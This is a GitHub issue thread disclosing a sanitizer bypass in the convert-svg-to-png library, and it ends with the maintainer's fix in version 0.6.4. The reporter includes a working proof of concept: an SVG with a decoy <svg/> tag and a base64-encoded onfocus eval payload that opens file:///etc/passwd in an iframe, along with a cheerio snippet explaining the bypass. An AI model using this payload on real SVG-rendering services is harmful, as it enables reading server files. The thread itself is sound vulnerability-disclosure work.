Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Code Injection vulnerable #86

Closed
domdom2y2 opened this issue Jun 6, 2022 · 3 comments · Fixed by #87
Closed

Remote Code Injection vulnerable #86

domdom2y2 opened this issue Jun 6, 2022 · 3 comments · Fixed by #87
Labels
Milestone

Comments

@domdom2y2
Copy link

I found the issue from version 0.6.3.
The issue is that it sanitizes svg tag only once time.
so I add another svg tag which is <svg/> before the original payload that I used before.

const { convert } = require("convert-svg-to-png");
const express = require("express");

const fileSvg = `
<svg/>
<svg height=100 src=x tabindex=0 onfocus=eval(atob(this.id)) id=ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs= autofocus>
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
`;

const app = express();
app.get("/poc", async (req, res) => {
  try {
    const png = await convert(fileSvg);
    res.set("Content-Type", "image/png");
    res.send(png);
  } catch (e) {
    res.send("");
  }
});
app.listen(3000, () => {
  console.log("started");
});

It's still vulnerable to remote code injection with directory traversal vulnerability.

@domdom2y2
Copy link
Author

domdom2y2 commented Jun 6, 2022

If we use upper payload, first cheerio.load(input, null, false)('svg'); generates some thing like this.

<svg></svg><svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))" blahblahblah> ... continues ...

Then, the svg.attr() at [_sanitize](svg, options) function generates empty object. I think because cheerio's attr() function checks only once for first ends of svg tag which is <svg></svg>.

You can check with this below code.

const cheerio = require("cheerio");

const svg = `
<svg></svg>
<svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))" id="ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=" autofocus="">
`;

const $ = cheerio.load(svg, null, false)("svg");
console.log($.attr());
// [Object: null prototype] {}

I'm not goot at coding, but I think this might be solution.

const cheerio = require("cheerio");

const svg = `
<svg></svg>
<svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))" id="ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vQzovVXNlcnMvV2hpdGVIYXQvQ29kZS93ZWJfY3ZlX3N0dWR5L1JFQURNRS5tZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=" autofocus="">
`;

const $ = cheerio.load(svg, null, false)("svg");
let a = [];
$.each((index, elem) => {
  return a.push(...Object.keys(elem.attribs || {}));
});
console.log(a);
// [ 'height', 'src', 'tabindex', 'onfocus', 'id', 'autofocus' ]

@neocotic
Copy link
Owner

neocotic commented Jun 6, 2022

I'll fix this as a separate issue as it should only be converting the first SVG element. I never intended for multiple SVG elements to be converted within a single string.

I understand that this is circumventing recent protections though so will prioritize accordingly.

@neocotic
Copy link
Owner

neocotic commented Jun 7, 2022

This issue should now be resolved in the latest 0.6.4 release which now only converts the first SVG element found in the input buffer/string.

Thanks again for your investigation and reporting of bugs like these.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants